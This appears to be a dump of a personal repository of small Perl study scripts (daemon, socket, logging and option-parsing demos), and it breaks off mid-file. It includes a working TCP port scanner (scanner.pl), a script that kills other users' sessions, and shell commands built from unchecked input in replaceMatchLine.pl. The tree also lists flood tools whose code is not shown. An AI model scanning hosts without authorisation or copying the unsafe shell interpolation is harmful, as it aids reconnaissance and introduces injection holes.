├── oneline.pl ├── dos2unix.pl ├── README.md ├── template.pl ├── daemon.pl ├── version.pl ├── socket.pl ├── batch_send.pl ├── calc_run_size.pl ├── bgend_symbol.pl ├── kickOut.pl ├── scanner.pl ├── json.pl ├── type-o-serve.pl ├── post.pl ├── selectserver.pl ├── split-logfile ├── replaceMatchLine.pl ├── getopt.pl ├── log_server_status ├── basename.pl ├── stats.pl ├── demo.pl ├── timeparse.pl ├── kill.pl ├── iputils.pm ├── cat.pl ├── netwatch.pl ├── which ├── synflood.pl ├── update.pl ├── bandwidth.pl ├── color.pl ├── memcached-tool ├── mc-conn-tester.pl ├── rm ├── LogMini.pm ├── tasks.pl ├── ls.pl ├── free.pl ├── fincore ├── urlgrep.pl ├── memcache-top.pl ├── POST ├── slowloris.pl └── namespace.pl /oneline.pl: -------------------------------------------------------------------------------- 1 | perl -ne 'push(@w, length); END {printf "%0d\n" , (sort({$b <=> $a} @w))[0]}' *.cpp 2 | -------------------------------------------------------------------------------- /dos2unix.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | my $new_file = shift @ARGV; 4 | 5 | perl -e 'while (<>){s/\r//; print}' < ${new_file} > ${new_file}.tmp 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | some useful perl script 2 | 3 | use for study 4 | 5 | 6 | [![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/soarpenguin/perl-scripts/trend.png)](https://bitdeli.com/free "Bitdeli Badge") 7 | 8 | -------------------------------------------------------------------------------- /template.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | 4 | BEGIN { 5 | use Cwd 'realpath'; 6 | our $curdir; 7 | $curdir = __FILE__; 8 | $curdir = realpath($curdir); 9 | $curdir =~ s/[^\/]+$//; 10 | ### $curdir 11 | #push @INC, "$curdir/lib/"; 12 | } 13 | 14 | -------------------------------------------------------------------------------- /daemon.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | use POSIX; 4 | use strict; 5 | 6 | sub daemonize { 7 | POSIX::setsid or die "setsid: $!"; 8 | my $pid = fork (); 9 | if ($pid < 0) { 10 | die "fork: $!"; 11 | } elsif ($pid) { 12 | exit 0; 13 | } 14 | chdir "/"; 15 | umask 0; 16 | foreach (0 .. (POSIX::sysconf (&POSIX::_SC_OPEN_MAX) || 1024)) 17 | { POSIX::close $_ } 18 | open (STDIN, "/dev/null"); 20 | open (STDERR, ">&STDOUT"); 21 | } 22 | 23 | &daemonize(); 24 | 25 | while (1) { 26 | sleep 2; 27 | } 28 | -------------------------------------------------------------------------------- /version.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | # 3 | 4 | use strict; 5 | 6 | #my $commond; 7 | 8 | #$commond = (@ARGV ? $ARGV[0] : "perl"); 9 | #print "$commond\n"; 10 | 11 | my $version = `perl -v | grep "version"`; 12 | #print "$version\n"; 13 | 14 | if($version eq "") { 15 | print $version = 0; 16 | #} elsif($version =~ /v?(\d)+\W(\d)+\W(\d)/) { 17 | } elsif($version =~ /((\d)+)\W((\d)+)\W((\d)+)/) { 18 | print "$1\.$3\.$5\n"; 19 | $version = $&; #$1...$n is the match words or (), all match is $&; 20 | } else { 21 | $version = 0; 22 | } 23 | 24 | print "The perl version is: $version\n"; 25 | -------------------------------------------------------------------------------- /socket.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | # 3 | use Socket qw(PF_INET SOCK_STREAM pack_sockaddr_in inet_aton); 4 | 5 | socket(my $socket, PF_INET, SOCK_STREAM, 0) 6 | or die "socket: $!"; 7 | 8 | my $port = getservbyname "echo", "tcp"; 9 | connect($socket, pack_sockaddr_in($port, inet_aton("localhost"))) 10 | or die "connect: $!"; 11 | 12 | print $socket "Hello, world!\n"; 13 | 14 | print <$socket>; 15 | 16 | #use IO::Socket; 17 | #my $sock = new IO::Socket::INET ( 18 | # LocalHost => 'thekla', 19 | # LocalPort => '7070', 20 | # Proto => 'tcp', 21 | # Listen => 1, 22 | # Reuse => 1, 23 | #); 24 | # 25 | #die "Could not create socket: $!\n" unless $sock; 26 | -------------------------------------------------------------------------------- /batch_send.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | 4 | BEGIN { 5 | use Cwd 'realpath'; 6 | our $curdir; 7 | $curdir = __FILE__; 8 | $curdir = realpath($curdir); 9 | $curdir =~ s/[^\/]+$//; 10 | ### $curdir 11 | if (-e "$curdir/lib") { 12 | unshift @INC, "$curdir/lib/"; 13 | } 14 | } 15 | 16 | use strict; 17 | use warnings; 18 | 19 | my $script = &my_program(); 20 | 21 | &main(@ARGV); 22 | 23 | sub main { 24 | print &usage(); 25 | } 26 | 27 | sub usage { 28 | return <) { 15 | if (/^$sections([0-9a-f]+) +(?:[0-9a-f]+ +){2}([0-9a-f]+)/) { 16 | my $size = hex($1); 17 | my $offset = hex($2); 18 | $mem_size += $size; 19 | if ($file_offset == 0) { 20 | $file_offset = $offset; 21 | } elsif ($file_offset != $offset) { 22 | # BFD linker shows the same file offset in ELF. 23 | # Gold linker shows them as consecutive. 24 | next if ($file_offset + $mem_size == $offset + $size); 25 | 26 | printf STDERR "file_offset: 0x%lx\n", $file_offset; 27 | printf STDERR "mem_size: 0x%lx\n", $mem_size; 28 | printf STDERR "offset: 0x%lx\n", $offset; 29 | printf STDERR "size: 0x%lx\n", $size; 30 | 31 | die ".bss and .brk are non-contiguous\n"; 32 | } 33 | } 34 | } 35 | 36 | if ($file_offset == 0) { 37 | die "Never found .bss or .brk file offset\n"; 38 | } 39 | printf("%d\n", $mem_size + $file_offset); 40 | -------------------------------------------------------------------------------- /bgend_symbol.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | ## begincheck 4 | 5 | print "10. Ordinary code runs at runtime.\n"; 6 | END { print "16. So this is the end of the tale.\n" } 7 | INIT { print " 7. INIT blocks run FIFO just before runtime.\n" } 8 | 9 | UNITCHECK { 10 | print " 4. And therefore before any CHECK blocks.\n" 11 | } 12 | 13 | CHECK { print " 6. So this is the sixth line.\n" } 14 | print "11. It runs in order, of course.\n"; 15 | BEGIN { print " 1. BEGIN blocks run FIFO during compilation.\n" } 16 | END { print "15. Read perlmod for the rest of the story.\n" } 17 | CHECK { print " 5. CHECK blocks run LIFO after all compilation.\n" } 18 | INIT { print " 8. Run this again, using Perl's -c switch.\n" } 19 | print "12. This is anti-obfuscated code.\n"; 20 | END { print "14. END blocks run LIFO at quitting time.\n" } 21 | BEGIN { print " 2. So this line comes out second.\n" } 22 | 23 | UNITCHECK { 24 | print " 3. UNITCHECK blocks run LIFO after each file is compiled.\n" 25 | } 26 | 27 | INIT { print " 9. You'll see the difference right away.\n" } 28 | print "13. It merely _looks_ like it should be confusing.\n"; 29 | 30 | __END__ 31 | 32 | -------------------------------------------------------------------------------- /kickOut.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | # kickOut.pl -- a tool script for kicked out the users. {{{1 4 | # use the cmd "w" and "who am i" get user info. 5 | # use the cmd "pkill -KILL -t user" kicked out user. 6 | # 7 | # Author: soarpenguin 8 | # First release Dec.8 2013 9 | # 1}}} 10 | 11 | use Term::ANSIColor; 12 | 13 | my $DEBUG = 0; 14 | if ($DEBUG) { 15 | eval q{ 16 | use Smart::Comments; 17 | }; 18 | die $@ if $@; 19 | } 20 | 21 | # get the current user. 22 | my $me = `who am i`; 23 | (undef, $me) = split(/\s+/, $me); 24 | ### $me 25 | 26 | # get all users current logged. 27 | my @other=`w`; 28 | my $user; 29 | 30 | print color("blue"), "Kicked out all users?\n", color("reset"); 31 | print "Input(yes/no):"; 32 | my $answer = ; 33 | if ($answer !~ /y|Y|YES|yes/) { 34 | exit 0; 35 | } 36 | 37 | for(my $i = 2; $i < @other; $i++) { 38 | (undef, $user) = split(/\s+/, $other[$i]); 39 | if ($user !~ /pts/) { 40 | ### $user 41 | next; 42 | } elsif ($user =~ /$me/) { 43 | ### $user 44 | next; 45 | } else { 46 | ### $user 47 | `pkill -KILL -t $user`; 48 | if ($? != 0) { 49 | print "Kill the $user failed.\n"; 50 | } 51 | } 52 | } 53 | 54 | -------------------------------------------------------------------------------- /scanner.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # TCP Port scanner 4 | 5 | use IO::Socket; 6 | 7 | # flush the print buffer immediately 8 | $| = 1; 9 | 10 | # Take input from user - hostname, start port , end port 11 | print "Enter Target/hostname : "; 12 | 13 | # Need to chop off the newline character from the input 14 | chop ($target = ); 15 | print "Start Port : "; 16 | chop ($start_port = ); 17 | &check_port($start_port); 18 | print "End Port : "; 19 | chop ($end_port = ); 20 | &check_port($end_port); 21 | 22 | # start the scanning loop 23 | foreach ($port = $start_port ; $port <= $end_port ; $port++) 24 | { 25 | #\r will refresh the line 26 | print "\rScanning port $port"; 27 | 28 | #Connect to port number 29 | $socket = IO::Socket::INET->new(PeerAddr => $target , PeerPort => $port , Proto => 'tcp' , Timeout => 1); 30 | 31 | #Check connection 32 | if( $socket ) 33 | { 34 | print "\r = Port $port is open.\n" ; 35 | } 36 | else 37 | { 38 | #Port is closed, nothing to print 39 | } 40 | } 41 | 42 | print "\n\nFinished Scanning $target\n"; 43 | 44 | exit (0); 45 | 46 | sub check_port { 47 | my $port = shift; 48 | 49 | if ($port =~ /\D+/ or $port > 65535 or $port < 0) { 50 | print "Please check the format of port: $port\n"; 51 | exit 1; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /json.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | use lib "."; 4 | use JSON::XS; 5 | use utf8; 6 | use Encode qw/encode decode/; 7 | use encoding "utf8", STDOUT => "gb2312"; 8 | 9 | my $modulename = shift @ARGV; 10 | my $version = shift @ARGV; 11 | my $file = shift @ARGV; 12 | 13 | if ($file) { 14 | open FILEHD, ">>", "$file"; 15 | *STDOUT = *FILEHD; 16 | } 17 | 18 | # usage: perl get_processinfo_by_mod_version.pl "module" "version" 19 | # perl get_processinfo_by_mod_version.pl "module" "version" >test.txt 20 | 21 | # remove the ^M character for the test.txt file. 22 | # perl -e 'while (<>){s/\r//; print}' < test.txt > unix.txt 23 | 24 | my $apiurl = "xxxxxxx"; 25 | 26 | if($modulename and $version) { 27 | my $iurl = `curl $apiurl -d moduleInfo="$modulename($version)" 2>/dev/null`; 28 | $iurl = encode("utf8",decode("gbk",$iurl)); 29 | my $d = decode_json($iurl); 30 | 31 | print "i=$d->{list}[0]->{url}\n"; 32 | #print "$d->{list}[0]->{desc}\n"; 33 | 34 | for my $item (@{$d->{list}[0]->{list}}){ 35 | # print $item->{dataName} . "\n"; 36 | if ($item->{dataName} eq "targetDesc") { 37 | print "\n$item->{value}\n"; 38 | } elsif ($item->{dataName} eq "stepDesc") { 39 | print "$item->{value}\n"; 40 | } 41 | } 42 | exit 0; 43 | 44 | } else { 45 | exit 1; 46 | } 47 | -------------------------------------------------------------------------------- /type-o-serve.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | use Socket; 4 | use Carp; 5 | use FileHandle; 6 | 7 | # (1) use port 8080 by default, unless overridden on command line 8 | $port = (@ARGV ? $ARGV[0] : 8080); 9 | 10 | # (2) create local TCP socket and set it to listen for connections 11 | $proto = getprotobyname('tcp'); 12 | socket(S, PF_INET, SOCK_STREAM, $proto) || die; 13 | setsockopt(S, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) || die; 14 | bind(S, sockaddr_in($port, INADDR_ANY)) || die; 15 | listen(S, SOMAXCONN) || die; 16 | 17 | # (3) print a startup message 18 | printf(" <<>>\n\n",$port); 19 | 20 | while (1) 21 | { 22 | # (4) wait for a connection C 23 | $cport_caddr = accept(C, S); 24 | ($cport,$caddr) = sockaddr_in($cport_caddr); 25 | C->autoflush(1); 26 | 27 | # (5) print who the connection is from 28 | $cname = gethostbyaddr($caddr,AF_INET); 29 | printf(" <<>>\n",$cname); 30 | 31 | # (6) read request msg until blank line, and print on screen 32 | while ($line = ) 33 | { 34 | print $line; 35 | if ($line =~ /^\r/) { last; } 36 | } 37 | 38 | # (7) prompt for response message, and input response lines, 39 | # sending response lines to client, until solitary "." 40 | printf(" <<>>\n"); 41 | 42 | while ($line = ) 43 | { 44 | $line =~ s/\r//; 45 | $line =~ s/\n//; 46 | if ($line =~ /^\./) { last; } 47 | print C $line . "\r\n"; 48 | } 49 | 50 | close(C); 51 | } 52 | 53 | 54 | -------------------------------------------------------------------------------- /post.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | use strict; 4 | use LWP::UserAgent; 5 | use HTTP::Request; 6 | use HTTP::Response; 7 | use JSON::XS; 8 | 9 | my $ua = LWP::UserAgent->new; 10 | # set custom HTTP request header fields 11 | my $url = "http://xxxxxxx"; 12 | 13 | # add POST data to HTTP request body 14 | my %post_data = ( 15 | 'jsondata' => { 16 | 'name' => 'OK', 17 | 'result' => '1' 18 | } 19 | ); 20 | 21 | my $req = HTTP::Request->new(POST => $url); 22 | #$req->header('Content-Type' => 'application/json'); 23 | $req->header('Content-Type' => 'application/x-www-form-urlencoded'); 24 | 25 | my $json_obj = new JSON::XS; 26 | my $result_str = $json_obj->encode(\%post_data); 27 | print Dumper($result_str); 28 | 29 | #$req->content_type('application/x-www-form-urlencoded'); 30 | $req->content($result_str); 31 | 32 | print Dumper($ua); 33 | 34 | my $resp = $ua->request($req); 35 | if ($resp->is_success) { 36 | print Dumper($resp->content); 37 | } else { 38 | print "HTTP POST error code: ", $resp->code, "\n"; 39 | print "HTTP POST error message: ", $resp->message, "\n"; 40 | } 41 | 42 | my $timestamp = int(time()); 43 | my $md5string = "$timestamp"; 44 | my $md5 = Digest::MD5->new; 45 | $md5->add($md5string); 46 | my $accessToken = $md5->hexdigest; 47 | my $ua=LWP::UserAgent->new; 48 | $ua->timeout(100); 49 | 50 | my $req = $ua->post($url, 51 | [ 52 | "timeStamp" => "$timestamp" 53 | ] 54 | ); 55 | 56 | if ($req->is_success) { 57 | my $content = $req->content(); 58 | print "$content\n"; 59 | } else { 60 | print $req->status_line, "\n"; 61 | print $req->message; 62 | } 63 | -------------------------------------------------------------------------------- /selectserver.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | # 3 | 4 | use IO::Select; 5 | 6 | # Create the receiving socket 7 | my $s = new IO::Socket ( 8 | LocalHost => "localhost", 9 | LocalPort => 7070, 10 | Proto => 'tcp' 11 | Listen => 16, 12 | Reuse => 1, 13 | ); 14 | die "Could not create socket: $!\n" unless $s; 15 | 16 | $read_set = new IO::Select(); # create handle set for reading 17 | $read_set->add($s); # add the main socket to the set 18 | 19 | my ($ns, $buf); 20 | while (1) { # forever 21 | # get a set of readable handles (blocks until at least one handle is ready) 22 | my ($rh_set) = IO::Select->select($read_set, undef, undef, 0); 23 | # take all readable handles in turn 24 | foreach $rh (@$rh_set) { 25 | # if it is the main socket then we have an incoming connection and 26 | # we should accept() it and then add the new socket to the $read_set 27 | if ($rh == $s) { 28 | $ns = $rh->accept(); 29 | $read_set->add($ns); 30 | } 31 | # otherwise it is an ordinary socket and we should read and process the request 32 | else { 33 | $buf = <$rh>; 34 | if($buf) { # we get normal input 35 | # ... process $buf ... 36 | print "$buf\n"; 37 | } 38 | else { # the client has closed the socket 39 | # remove the socket from the $read_set and close it 40 | $read_set->remove($rh); 41 | close($rh); 42 | } 43 | } 44 | } 45 | } 46 | 47 | #my ($ns, $buf); 48 | #while( $ns = $s->accept() ) { # wait for and accept a connection 49 | # while( defined( $buf = <$ns> ) ) { # read from the socket 50 | # # do some processing 51 | # } 52 | #} 53 | close($s); 54 | -------------------------------------------------------------------------------- /split-logfile: -------------------------------------------------------------------------------- 1 | # This script will take a combined Web server access 2 | # log file and break its contents into separate files. 3 | # It assumes that the first field of each line is the 4 | # virtual host identity (put there by "%v"), and that 5 | # the logfiles should be named that+".log" in the current 6 | # directory. 7 | # 8 | # The combined log file is read from stdin. Records read 9 | # will be appended to any existing log files. 10 | # 11 | %is_open = (); 12 | 13 | while ($log_line = ) { 14 | # 15 | # Get the first token from the log record; it's the 16 | # identity of the virtual host to which the record 17 | # applies. 18 | # 19 | ($vhost) = split (/\s/, $log_line); 20 | # 21 | # Normalize the virtual host name to all lowercase. 22 | # If it's blank, the request was handled by the default 23 | # server, so supply a default name. This shouldn't 24 | # happen, but caution rocks. 25 | # 26 | $vhost = lc ($vhost) or "access"; 27 | # 28 | # if the vhost contains a "/" or "\", it is illegal so just use 29 | # the default log to avoid any security issues due if it is interprted 30 | # as a directory separator. 31 | if ($vhost =~ m#[/\\]#) { $vhost = "access" } 32 | # 33 | # If the log file for this virtual host isn't opened 34 | # yet, do it now. 35 | # 36 | if (! $is_open{$vhost}) { 37 | open $vhost, ">>${vhost}.log" 38 | or die ("Can't open ${vhost}.log"); 39 | $is_open{$vhost} = 1; 40 | } 41 | # 42 | # Strip off the first token (which may be null in the 43 | # case of the default server), and write the edited 44 | # record to the current log file. 45 | # 46 | $log_line =~ s/^\S*\s+//; 47 | printf $vhost "%s", $log_line; 48 | } 49 | exit 0; 50 | -------------------------------------------------------------------------------- /replaceMatchLine.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | # replaceMatchLine.pl {{{1 4 | # 5 | # Author: soarpenguin 6 | # First release Oct.7 2013 7 | # 1}}} 8 | 9 | if (@ARGV != 3) { 10 | print "perl $0 origfile replfile destfile.\n"; 11 | exit 1; 12 | } 13 | 14 | my ($original, $replace, $destfile) = @ARGV; 15 | 16 | if (! -e $destfile) { 17 | die "Please check the destfile for operation."; 18 | } 19 | 20 | open(OFH, "<", $original) or die "open $original file failed."; 21 | open(RFH, "<", $replace) or die "open $original file failed."; 22 | 23 | my @orig = ; 24 | my @rep = ; 25 | 26 | close(OFH); 27 | close(RFH); 28 | 29 | if (scalar @orig != scalar @rep) { 30 | print "The file of $original and $replace line num not matched.\n"; 31 | exit 1; 32 | } 33 | 34 | my $count = 0; 35 | 36 | # deal with the dest file. 37 | foreach (@orig) { 38 | 39 | chomp($orig[$count]); 40 | chomp($rep[$count]); 41 | 42 | &replace($orig[$count], $rep[$count], $destfile); 43 | 44 | $count++; 45 | } 46 | 47 | # grep dest file and replace the match line. 48 | sub replace { 49 | my $orig = shift; 50 | my $rep = shift; 51 | my $dest = shift; 52 | 53 | if ( ! -e $orig or ! defined($orig) ) { 54 | print "please check the orig file of $orig\n"; 55 | exit 1; 56 | } elsif ( ! -e $rep or ! defined($rep) ) { 57 | print "please check the replace file of $rep\n"; 58 | exit 1; 59 | } elsif ( ! -e $dest or ! defined($dest) ) { 60 | print "please check the dest file of $dest\n"; 61 | exit 1; 62 | } 63 | 64 | `fgrep "${orig}" ${dest} &>/dev/null`; 65 | if($? eq 0) { 66 | `sed -e "s/\<${orig}\>/${rep}/" ${dest} >${dest}.tmp`; 67 | `mv ${dest}.tmp ${dest}`; 68 | } else { 69 | print "Mismatch the line of $orig\n"; 70 | } 71 | } 72 | 73 | -------------------------------------------------------------------------------- /getopt.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | ################################################################### 4 | #Usage: 5 | # perl getopt.pl --verbose --verbose -v --more \ 6 | # --lib='/lib' -l '/lib64' --f a=1 --flag b=3 --debug 3 -t ygzhu 7 | # 8 | #Result: 9 | # ### $verbose: 3 10 | # ### $more: 1 11 | # ### $debug: 3 12 | # ### $test: 1 13 | # ### @libs: [ 14 | # ### '/lib', 15 | # ### '/lib64' 16 | # ### ] 17 | # ### %flags: { 18 | # ### a => '1', 19 | # ### b => '3' 20 | # ### } 21 | ################################################################### 22 | 23 | use strict; 24 | use File::Basename; 25 | use Getopt::Long; 26 | 27 | # test some modules installed or not. 28 | BEGIN { 29 | if (eval "require Smart::Comments") { 30 | use Smart::Comments; 31 | print "Use Smart::Comments\n"; 32 | } else { 33 | warn "No Smart::Comments"; 34 | } 35 | } 36 | 37 | my $script = File::Basename::basename($0); 38 | my @libs = (); 39 | my %flags = (); 40 | my ( $verbose, $all, $more, $debug, $test); 41 | 42 | GetOptions( 43 | 'verbose+' => \$verbose, # the '+' means the $verbose will +1 44 | # when the -v or --verbose appear once 45 | 'more!' => \$more, 46 | 'debug:i' => \$debug, 47 | 'lib=s' => \@libs, 48 | 'flag=s' => \%flags, 49 | 'test|t' => \$test, 50 | #'all|everything|universe!' => $all, 51 | ); 52 | 53 | 54 | use Getopt::Std qw( getopts ); 55 | 56 | my %opts; 57 | 58 | getopts("a:dhl:p:t:uk", \%opts) 59 | or die &usage(); 60 | 61 | if ($opts{h}) { 62 | print &usage(); 63 | exit; 64 | } 65 | 66 | sub usage { 67 | return <<'_EOC_'; 68 | Usage: 69 | $script [optoins] 70 | 71 | Options: 72 | -h Print this usage. 73 | 74 | Examples: 75 | $script -h 76 | _EOC_ 77 | } 78 | ### $verbose 79 | ### $more 80 | ### $debug 81 | ### $test 82 | ### @libs; 83 | ### %flags 84 | 85 | -------------------------------------------------------------------------------- /log_server_status: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | # This script is designed to be run at a frequent interval by something 4 | # like cron. It connects to the server and downloads the status 5 | # information. It reformats the information to a single line and logs 6 | # it to a file. Make sure the directory $wherelog is writable by the 7 | # user who runs this script. 8 | # 9 | require 'sys/socket.ph'; 10 | 11 | $wherelog = "/var/log/graph/"; # Logs will be like "/var/log/graph/19960312" 12 | $server = "localhost"; # Name of server, could be "www.foo.com" 13 | $port = "80"; # Port on server 14 | $request = "/status/?auto"; # Request to send 15 | 16 | sub tcp_connect 17 | { 18 | local($host,$port) =@_; 19 | $sockaddr='S n a4 x8'; 20 | chop($hostname=`hostname`); 21 | $port=(getservbyname($port, 'tcp'))[2] unless $port =~ /^\d+$/; 22 | $me=pack($sockaddr,&AF_INET,0,(gethostbyname($hostname))[4]); 23 | $them=pack($sockaddr,&AF_INET,$port,(gethostbyname($host))[4]); 24 | socket(S,&PF_INET,&SOCK_STREAM,(getprotobyname('tcp'))[2]) || 25 | die "socket: $!"; 26 | bind(S,$me) || return "bind: $!"; 27 | connect(S,$them) || return "connect: $!"; 28 | select(S); 29 | $| = 1; 30 | select(stdout); 31 | return ""; 32 | } 33 | 34 | ### Main 35 | 36 | { 37 | $year=`date +%y`; 38 | chomp($year); 39 | $year += ($year < 70) ? 2000 : 1900; 40 | $date = $year . `date +%m%d:%H%M%S`; 41 | chomp($date); 42 | ($day,$time)=split(/:/,$date); 43 | $res=&tcp_connect($server,$port); 44 | open(OUT,">>$wherelog$day"); 45 | if ($res) { 46 | print OUT "$time:-1:-1:-1:-1:$res\n"; 47 | exit 1; 48 | } 49 | print S "GET $request\n"; 50 | while () { 51 | $requests=$1 if ( m|^BusyServers:\ (\S+)|); 52 | $idle=$1 if ( m|^IdleServers:\ (\S+)|); 53 | $number=$1 if ( m|sses:\ (\S+)|); 54 | $cpu=$1 if (m|^CPULoad:\ (\S+)|); 55 | } 56 | print OUT "$time:$requests:$idle:$number:$cpu\n"; 57 | } 58 | -------------------------------------------------------------------------------- /basename.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | # 3 | 4 | # basename.pl -- strip directory and suffix from filenames. {{{1 5 | # 6 | # Author: soarpenguin 7 | # First release Nov.14 2012 8 | # 1}}} 9 | 10 | use strict; 11 | use warnings; 12 | use Getopt::Long; 13 | use File::Basename; 14 | #use Smart::Comments; 15 | 16 | use Term::ANSIColor; 17 | #print color("red"), "Stop!\n", color("reset"); 18 | #print color("green"), "Go!\n", color("reset"); 19 | 20 | my $script = basename $0; 21 | my $myversion = '0.1.0'; 22 | 23 | my $usage = " 24 | Usage: $script NAME [SUFFIX] 25 | or: $script OPTION 26 | Print NAME with any leading directory components removed. 27 | If specified, also remove a trailing SUFFIX. 28 | 29 | -h, --help Display this help and exit 30 | -V, --version Display version information. 31 | 32 | Examples: 33 | $script /usr/bin/sort Output \"sort\". 34 | $script include/stdio.h .h Output \"stdio\". 35 | "; 36 | 37 | my $ret = GetOptions( 38 | 'help|h' => \&usage, 39 | 'version|V' => \&version 40 | ); 41 | 42 | if(! $ret) { 43 | &usage(); 44 | } 45 | 46 | 47 | if(@ARGV > 2 or @ARGV <= 0) { 48 | &usage(); 49 | } 50 | 51 | &main(); 52 | 53 | sub main { 54 | my ($file, $suffix) = @ARGV; 55 | my @basename; 56 | ### $file 57 | ### $suffix 58 | 59 | if(! $file) { 60 | &usage(); 61 | } 62 | 63 | if($file =~ /\//) { 64 | @basename = split('\/', $file); 65 | ### @basename 66 | my $scalar = @basename; 67 | ### $scalar 68 | $file = $basename[$scalar - 1]; 69 | } 70 | 71 | if($suffix) { 72 | if($file =~ /(.*)$suffix$/) { 73 | $file = $1; 74 | } 75 | } 76 | print "$file\n"; 77 | ### $file 78 | } 79 | 80 | sub usage { 81 | print color("blue"); 82 | print $usage; 83 | print color("reset"); 84 | exit; 85 | } 86 | 87 | sub version { 88 | print "$script version $myversion\n"; 89 | exit; 90 | } 91 | 92 | -------------------------------------------------------------------------------- /stats.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | # Copyright (c) 2008 dean gaudet 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a 6 | # copy of this software and associated documentation files (the "Software"), 7 | # to deal in the Software without restriction, including without limitation 8 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 9 | # and/or sell copies of the Software, and to permit persons to whom the 10 | # Software is furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included 13 | # in all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 18 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR 19 | # OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 20 | # ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 21 | # OTHER DEALINGS IN THE SOFTWARE. 22 | 23 | use strict; 24 | use warnings; 25 | 26 | my $sum = 0; 27 | my $square = 0; 28 | my $n = 0; 29 | 30 | my $do_geom = 1; 31 | my $geom = 0; 32 | my $min; 33 | my $max; 34 | 35 | while (<>) { 36 | chomp; 37 | s#_##g; 38 | my $x; 39 | foreach $x (split) { 40 | next unless $x =~ /^[0-9.+-]+$/; 41 | $sum += $x; 42 | $square += $x*$x; 43 | ++$n; 44 | if ($x <= 0) { 45 | $do_geom = 0; 46 | } 47 | else { 48 | $geom += log($x); 49 | } 50 | $min = $x if (!defined($min) or $x < $min); 51 | $max = $x if (!defined($max) or $x > $max); 52 | } 53 | } 54 | 55 | my $mean = $sum / $n; 56 | my $sd = sqrt(($square - $sum * $sum / $n) / ($n-1)); 57 | 58 | if (defined($ENV{'terse'})) { 59 | printf("count %s min/avg/max %f/%f/%f CV %5.4f%%\n", $n, $min, $mean, $max, 100 * ($sd / $mean)); 60 | exit 0; 61 | } 62 | 63 | printf "n: %10u\n", $n; 64 | printf "total: %15.4f\n", $sum; 65 | printf "mean: %15.4f\n", $mean; 66 | printf "min: %15.4f\n", $min; 67 | printf "max: %15.4f\n", $max; 68 | if ($n > 1) { 69 | printf "sd: %15.4f %5.4f%% (coefficient of variation)\n", $sd, 100 * ($sd / $mean); 70 | } 71 | 72 | if ($do_geom && $geom != 0) { 73 | printf "geom: %15.4f\n", exp($geom/$n); 74 | } 75 | -------------------------------------------------------------------------------- /demo.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | # 3 | 4 | # ***.pl -- ***********. {{{1 5 | # 6 | # Author: soarpenguin 7 | # First release Nov.14 2012 8 | # 1}}} 9 | 10 | BEGIN { 11 | use Cwd 'realpath'; 12 | our $curdir; 13 | $curdir = __FILE__; 14 | $curdir = realpath($curdir); 15 | $curdir =~ s/[^\/]+$//; 16 | ### $curdir 17 | if ( -e $curdir ) { 18 | unshift @INC, "$curdir/lib/"; 19 | } 20 | } 21 | 22 | use strict; 23 | use warnings; 24 | use Getopt::Long; 25 | use File::Basename; 26 | #use Smart::Comments; 27 | 28 | use Term::ANSIColor; 29 | #print color("red"), "Stop!\n", color("reset"); 30 | #print color("green"), "Go!\n", color("reset"); 31 | 32 | my $script = basename $0; 33 | my $myversion = '0.1.0'; 34 | 35 | my $usage = " 36 | Usage: $script [option]... 37 | 38 | -h, --help 39 | Display this help and exit 40 | 41 | -V Display version information. 42 | "; 43 | 44 | my $ret = GetOptions( 45 | 'help|h' => \&usage, 46 | 'version|V' => \&version 47 | ); 48 | 49 | if(! $ret) { 50 | &usage(); 51 | } 52 | 53 | # function for signal action 54 | sub catch_int { 55 | my $signame = shift; 56 | print color("red"), "Stoped by SIG$signame\n", color("reset"); 57 | exit; 58 | } 59 | $SIG{INT} = __PACKAGE__ . "::catch_int"; 60 | $SIG{INT} = \&catch_int; # best strategy 61 | 62 | sub usage { 63 | print $usage; 64 | exit; 65 | } 66 | 67 | sub version { 68 | print "$script version $myversion\n"; 69 | exit; 70 | } 71 | 72 | # workaround for functions that don't cope with utf8 well 73 | sub to_utf8($) { 74 | my ($str) = @_; 75 | utf8::decode($str) unless utf8::is_utf8($str); 76 | return $str; 77 | } 78 | sub readlink_utf8($) { 79 | my ($filename) = @_; 80 | return 